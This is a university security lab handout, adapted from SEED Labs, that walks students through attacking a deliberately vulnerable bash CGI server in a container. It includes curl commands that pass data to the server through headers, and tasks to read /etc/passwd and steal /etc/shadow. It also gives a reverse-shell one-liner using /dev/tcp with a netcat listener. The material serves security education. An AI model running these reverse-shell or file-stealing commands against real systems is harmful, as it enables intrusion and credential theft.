Lab 02: Shellshock Attack

Lab 02: Shellshock Attack

Due Sunday February 19th @ 11:59 PM

Adapted from SEED Labs: A Hands-on Lab for Security Education.

On September 24, 2014, a severe vulnerability in bash was identified. Nicknamed *Shellshock*, this vulnerability can exploit many systems and be launched either remotely or from a local machine. In this lab, students will work on this attack to better understand the Shellshock vulnerability. The learning objective of this lab is for students to get first-hand experience with this interesting attack, understand how it works, and think about more general lessons that we can take aware from this attack. The first version of this lab was developed on September 29, 2014, just five days after the attack was reported.

This lab covers the following topics:

- Shellshock
- Environment variables
- Function definitions in bash
- Apache and CGI programs

Resources

- Code related to this lab can be found in our class's GitHub repository. Specifically, see `02_shellshock/`.
- The shellshcoker.net website *(includes links to relevant CVEs)*
- A nice write-up: Everything you need to know about the Shellshock Bash bug
- Where is Bash Shellshock vulnerability in source code? (StackExchange) has a nice summary of the vulnerable code details about early patches.
- Chapter 3 in the SEED Textbook.
- A related video lecture (Udemy course) recorded by Kevin Du.

Environment Setup

This lab uses a new approach that is dependent on docker/containers. The transition to containers was meant to make the setup for this lab easier. (Old versions of network and web security labs required multiple VMs - containers are much more lightweight and easy to work with.) If, however, you encounter any issues, please let me know, and we can work to troubleshoot. Please follow the rest of this section ***very carefully*** - it contains critical information to ensure that this lab will work properly.

For reference, here is a link to the official SEED Manual for Containers.

> *If this is the first time you set up a SEED lab environment using containers, it is quite important that you read the user manual.*

Container Setup and Commands

Please ensure that you have the class repo cloned locally. Once this is done, navigate to the `02_shellshock/` directory. You should already have this repository cloned from Lab 1. For example:

```
$ cd ~
    $ git clone https://github.com/reesep/csci476-code.git code
    $ cd /home/seed/code/02_shellshock
```

We will make use of **Docker** and **Compose** to make working with containers easy.

```
# First, build the container
    $ docker-compose build    # Build the container image

    # Next, start/stop the container(s) as needed
    $ docker-compose up -d    # Start the container (-d runs container in the background; i.e., detached)
    $ docker-compose down     # Shut down the container
```

In general for our labs, we will create and start containers that will run in the background (i.e., use the `-d` flag when bringing your container up).

At times we may need to run commands on a container — docker makes it pretty easy to attach to a container running in the background and get a shell on that container. To run commands on a specific container, we first need to use the `docker ps` command to find out the ID of the container, and then we can use `docksh` to start a shell on that container.

```
$ docker ps -a   # Show all containers (default shows just running)
    $ dockps        # Show active containers using custom formatting for docker ps
    $ docksh <id>    # Connect to container with <id>

    ### Examples ###

    # The following example shows how to get a shell inside hostC
    $ dockps
    b1004832e275  hostA-10.9.0.5
    0af4ea7a3e2e  hostB-10.9.0.6
    9652715c8e0a  hostC-10.9.0.7

    # Attach to the container with an ID that starts with "96"
    $ docksh 96
    root@9652715c8e0a:/#

    # NOTE: If a docker command requires a container ID, you do not need to type the entire ID string.
    # Typing the first few characters will be sufficient so long as it can uniquely identify a container.
```

Troubleshooting. If you encounter problems when setting up the lab environment, please read the **“Common Problems”** section of the SEED Manual for Containers for potential solutions. If you still can’t get things figured out, please connect a member of the course staff.

DNS Settings

> ***NOTE:*** *In our setup, the web server container’s IP address is* `10.9.0.80`*. The hostname of the server is called* `www.seedlab-shellshock.com`*. We need to map this name to the IP address. Please add the following to the end of the* `/etc/hosts` *on your SEED VM. (You need root privileges to modify this file.)*

This step should already be done, but please verify that your `/etc/hosts` file has this line:

```
10.9.0.80   www.seedlab-shellshock.com
```

Web Server and CGI

In this lab, we will carry out various Shellshock attacks targeted at the web server container. Many web servers enable CGI, which is a standard method used to generate dynamic content on web pages and for web applications. Many CGI programs are shell scripts, so before the actual CGI program runs, a shell program will be invoked first, and such an invocation is triggered by users from remote computers. If the shell program is a vulnerable bash program, we can exploit the Shellshock vulnerability to gain privileges on the server.

In our web server container, we have already set up a very simple CGI program (called `vul.cgi`). It simply prints out “Hello World” using a shell script. The CGI program is located inside Apache’s default CGI folder `/usr/lib/cgi-bin`. *(**NOTE:** CGI* *scripts must be executable.)*

```
#!/bin/bash_shellshock

echo "Content-Type: text/plain"
echo
echo "Hello World"
```

vul.cgi delivered with ❤ by emgithub view raw

The CGI program uses `/bin/bash_shellshock` (note the first line), instead of using `/bin/bash`. (`/bin/bash_shellshock` is just an older version of bash that has been intentionally installed in our SEED environment for this lab. As the name suggests, this version of bash is still vulnerable to Shellshock attacks.) The first line in shell scripts is known as a shebang; this line specifies what shell program should be invoked to run the script. In order to carry out Shellshock attacks, we need to use the vulnerable version of bash in this lab.

CGI Test. Before getting started with the lab tasks, make sure that you can access this CGI script. Before you try this, *make sure that the web server container is running!* ;-)

There are two main approaches to access the CGI program running on our web server:

1. We can use a web browser (within the VM) and access the following URL: http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
2. We can use the command line program `curl`:

```
$ curl http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
```

Lab Tasks

This lab has been tested on the pre-built SEED VM (Ubuntu 20.04 VM).

Task 1: Experimenting with Bash Functions

The bash program in Ubuntu 20.04 has already been patched, so it is no longer vulnerable to the Shellshock attack.

For the purpose of this lab, we have installed a vulnerable version of bash inside the container (see `/bin/bash_shellshock`). This same program also exists in `/csci476-code/02_shellshock/image_www/`. To copy this bash program to your home directory by running the command `cp /csci476-code/02_shellshock/image_www/bash_shellshock ~`.

Please design an experiment to verify whether `/bin/bash_shellshock` is vulnerable to the Shellshock attack. Conduct the same experiment on the patched version `/bin/bash` and report your observations.

> ***NOTE:*** *For this experiment, you can use* `docksh <id>` *to attach to your container. Once you have a shell within the terminal, you can create a child shell that runs either* `/bin/bash` *or* `/bin/bash_shellshock` *to conduct your experiment. In later tasks you will conduct shellshock attacks from outside the web server container, but for this task it is OK to do this within the container.*

Task 2: Passing Data to Bash via Environment Variables

To exploit a Shellshock vulnerability in a bash-based CGI program, attackers need to pass their data to the vulnerable bash program, and the data needs to be passed via an environment variable. In this task, we need to see how we can achieve this goal. We have provided another CGI program (`getenv.cgi`) on the server to help you identify what user data is translated into environment variables, which are ultimately passed to a CGI program. This CGI program prints out all its environment variables for the current process.

```
#!/bin/bash_shellshock

```

```
echo "Content-Type: text/plain"
echo
echo "*** ENVIRONMENT VARIABLES***"
strings /proc/$$/environ
```

getenv.cgi delivered with ❤ by emgithub view raw

Task 2.1: Passing Data via `curl`

If we want to set the environment variable data on the server to arbitrary values, we could modify the behavior of the browser so that we can control the HTTP request data… but that sounds like a lot of work… Fortunately there is an easier way! There is a command-line tool called `curl`, which allows users to set/control many of the fields in an HTTP request.

Some of the useful options for `curl`:

1. the `-v` option will print verbose information about the header of the HTTP request/response;
2. the `-A`, `-e`, and `-H` options can be used to set specific fields in the header request; you need to figure out what fields are set by each of these options (see below).

Please run the commands below (Tasks 2.2.1-2.2.4) and include your findings in your lab report. Specifically, please briefly describe what each option does, and provide relevant evidence (e.g., a snippet of output from the HTTP request/response). **NOTE: From this point forward, it is assumed that your Docker container is up and running properly**

Task 2.1.1: The `-v` option

```
$ curl -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
```

Task 2.1.2: The `-A` option

```
$ curl -A "my data" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
```

Task 2.1.3: The `-e` option

```
$ curl -e "my data" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
```

Task 2.1.4: The `-H` option

```
$ curl -H "AAAAAA: BBBBBB" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
```

Task 3: Launching the Shellshock Attack

We can now launch the Shellshock attack. The attack does not depend on what is in the CGI program, as it targets the bash program, which is invoked before the actual CGI script is executed. You should launch your attack targeting the CGI script located at the following URL: http://www.seedlab-shellshock.com/cgi-bin/vul.cgi. ***Your ultimate objective is to get the server to run an arbitrary command of your choosing.***

In this task, you are required to use the `curl` command to launch the Shellshock attack against the target CGI program.

Each of the following subtasks (3.1-3.6) explicitly identifies your objective.

For each objective, please report:

1. A summary of your approach, with relevant command inputs/outputs
2. The `curl` option you used
3. The result (i.e., was your attack successful? Why or why not? Other observations?)

CGI Scripts & Returning Plaintext Output

In this lab we target Common Gateway Interface (CGI) scripts that use a vulnerable version of bash to generate and return dynamic content from the webserver (e.g., output from the script or another command). While it is helpful to be familiar with the CGI, we can get by with just a few insights.

One important note: If your command has a plaintext output, and you want the output returned to you, your output needs to follow a specific format/protocol. Most importantly, the returned output must be preceded with a blank line. For example, if you want the server to return a list of files in its folder, your command could be structured like this:

```
echo; /bin/ls -l
```

It turns out that you can also include a [media] [type] by setting the `Content-Type` field to explicitly state the format of the output that follows (e.g., `Content-Type: text/plain` indicates that the output is plaintext), which should be followed by an empty line, and then your output. For example, see the `getenv.cgi` script, which adheres to this format when returning plaintext output consisting of the environment variables.

Using Absolute Paths for Commands in Payloads

You must use absolute paths in the payload of your Shellshock attack. An exception to this is calling `echo` because that is (also) a built-in function in bash. *Why do you need to use absolute paths for commands?* Because the `PATH` environment variable is not actually set in the shell that gets launched! You can verify that `PATH` is not set for the shell that your commands run inside by executing `/bin/env` as the payload of a Shellshock attack.

Example:

```
# this will NOT work!
    echo; ls -l

    # this will work!
    echo; /bin/ls -l
```

Task 3.1: Shellshock & Reading A File

Get the server to send back the content of the `/etc/passwd` file.

Task 3.2: Shellshock & Process Info

Get the server to tell you its process' user ID. You can use the `/bin/id` command to print out the ID information.

Task 3.3: Shellshock & Creating A File

Get the server to create a file inside the `/tmp` folder.

You will either need to get into the container to verify whether the file was actually created, or use another Shellshock attack to list the contents of the `/tmp` folder.

Task 3.4: Shellshock & Deleting A File

Get the server to delete the file that you just created inside the `/tmp` folder.

Task 3.5: Shellshock & Reading A Privileged File

(Try) to “steal” the shadow file `/etc/shadow` from the server.

If you got it to work, how did you do it?!

If you couldn’t get it to work, why not?

> ***Hint:*** *Really think about it! Should you be able to steal the contents of the shadow file* `/etc/shadow` *from the server? Why or why not?*

> ***Hint:*** *The information obtained in Task 3.2 could give you a clue…*

Task 4: Getting a Reverse Shell via Shellshock

The Shellshock vulnerability allows attacks to run arbitrary commands on the target machine. In real attacks, instead of hard-coding the command in the attack, attackers often choose to run a shell command, so they can use this shell to run other commands, for as long as the shell program is alive. To achieve this goal, attackers need to run a reverse shell.

A reverse shell is a shell process started on a machine, with its input and output being controlled by somebody from a remote computer. Basically, the shell runs on the victim’s machine, but it takes input from the attacker machine and also prints its output on the attacker’s machine. A reverse shell gives an attacker a convenient way to run commands on a compromised machine.

In this task, ***you need to demonstrate that you can get a reverse shell*** from the victim (the web server) back to the attacker’s machine using the Shellshock attack. **HINT:** We went through the steps for creating a reverse shell on Wednesday 2/8's lecture. You should be able to follow those exact same steps here.

To help you, we summarize some of the major ideas below.

> *This example is instructive, but for your attack you need to keep in mind that **the victim is the web server container**, and **the attacker is your SEED VM**.*

Creating A Reverse Shell

The key idea of a reverse shell is to redirect its standard input, output, and error devices to a network connection, so the shell gets its input from the connection, and prints out its output to the connection as well. At the other end of the connection is a program run by the attacker; the program simply displays whatever comes from the shell at the other end, and sends whatever is typed by the attacker to the shell, over the network connection.

A commonly used program by attackers is `netcat`, which, if running with the `-l` option, becomes a TCP server that listens for a connection on the specified port. This server program basically prints out whatever is sent by the client, and sends to the client whatever is typed by the user running the server. In the following experiment, `netcat` (`nc` for short) is used to listen for a connection on port `9090` (let us focus only on the first line).

```
Attacker(10.9.0.1):$ nc -lnv 9090     # Waiting for reverse shell
    Listening on 0.0.0.0 9090
    Connection received on 10.0.2.5 39452
    Server(10.0.2.5):$                    # <-- Reverse shell from 10.0.2.5.
    Server(10.0.2.5):$ ifconfig
    ifconfig
    enp0s3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
            inet 10.0.2.5  netmask 255.255.255.0  broadcast 10.0.2.255
            ...
```

The above `nc` command will block, waiting for a connection.

We now open a separate terminal and directly run the following bash program on the server machine (`10.0.2.5` in this example) to emulate what attackers would run after compromising the server via the Shellshock attack. This bash command will trigger a TCP connection to the attacker machine’s port 9090, and a reverse shell will be created. We can see the shell prompt from the above result, indicating that the shell is running on the Server machine; we can type the `ifconfig` command to verify that the IP address is indeed `10.0.2.5`, the one belonging to the Server machine. Here is the bash command:

```
Server(10.0.2.5):$ /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1
```

The above command is representative of one that would normally be executed on a compromised server. It can be quite complicated to read terse commands such as these; we provide a detailed explanation below:

- `/bin/bash -i`: The option `i` stands for interactive, meaning that the shell must be interactive (must provide a shell prompt).
- `> /dev/tcp/10.9.0.1/9090`: This causes the output device (`stdout`) of the shell to be redirected to the TCP connection to `10.9.0.1`'s port `9090`. In `Unix` systems, `stdout`'s file descriptor is `1`.
- `0<&1`: File descriptor `0` represents the standard input device (`stdin`). This option tells the system to use the standard output device as the standard input device. Since `stdout` is already redirected to the TCP connection, this option basically indicates that the shell program will get its input from the same TCP connection.
- `2>&1`: File descriptor `2` represents standard error (`stderr`). This causes the error output to be redirected to `stdout`, which is the TCP connection.

In summary, the command

```
/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1
```

starts a `bash` shell on the server machine, with its input coming from a TCP connection, and output going to the same TCP connection. In our experiment, when the `bash` shell command is executed on `10.0.2.5`, it connects back to the `netcat` process started on `10.9.0.1`. This is confirmed via the `Connection from 10.0.2.5 ...` message displayed by `netcat`.

Task 5: Using the Patched Bash

Now, let us use a version of the bash program that has already been patched. The program `/bin/bash` is a patched version.

On the SEED labs VM, replace the first line of the CGI programs (`02_shellshock/image_www/vul.cgi`) to have your CGI programs used the patched version of bash. Instead of `#!/bin/bash_shellshock`, you should change it to `#!/bin/bash`. After you save changes, you need to **rebuild** the docker container. Bring it down with `docker-compse down`, rebuild it with `docker-compose build` and then start it up again when `docker-compose up -d`

Repeat one of the subtasks from task 3 and describe your observations.

Submission Instructions

The lab report is to help me see that you did the lab and followed the instructions. For each task, you should include a screenshot to show you completed the task. If the task asks you to write down observations, you should also include those in your lab report. For the tasks that requires you to do some thinking and find ways to exploit a program, you should write a brief description about your approach and the steps you took to get your output. This is a lab report taken from a previous offering of this course. This is a good example of how you should format your lab report:
https://www.cs.montana.edu/pearsall/classes/spring2023/476/labs/SampleLabReport.pdf
Once you are ready, submit your lab report **AS A PDF** to the appropriate D2L submission box.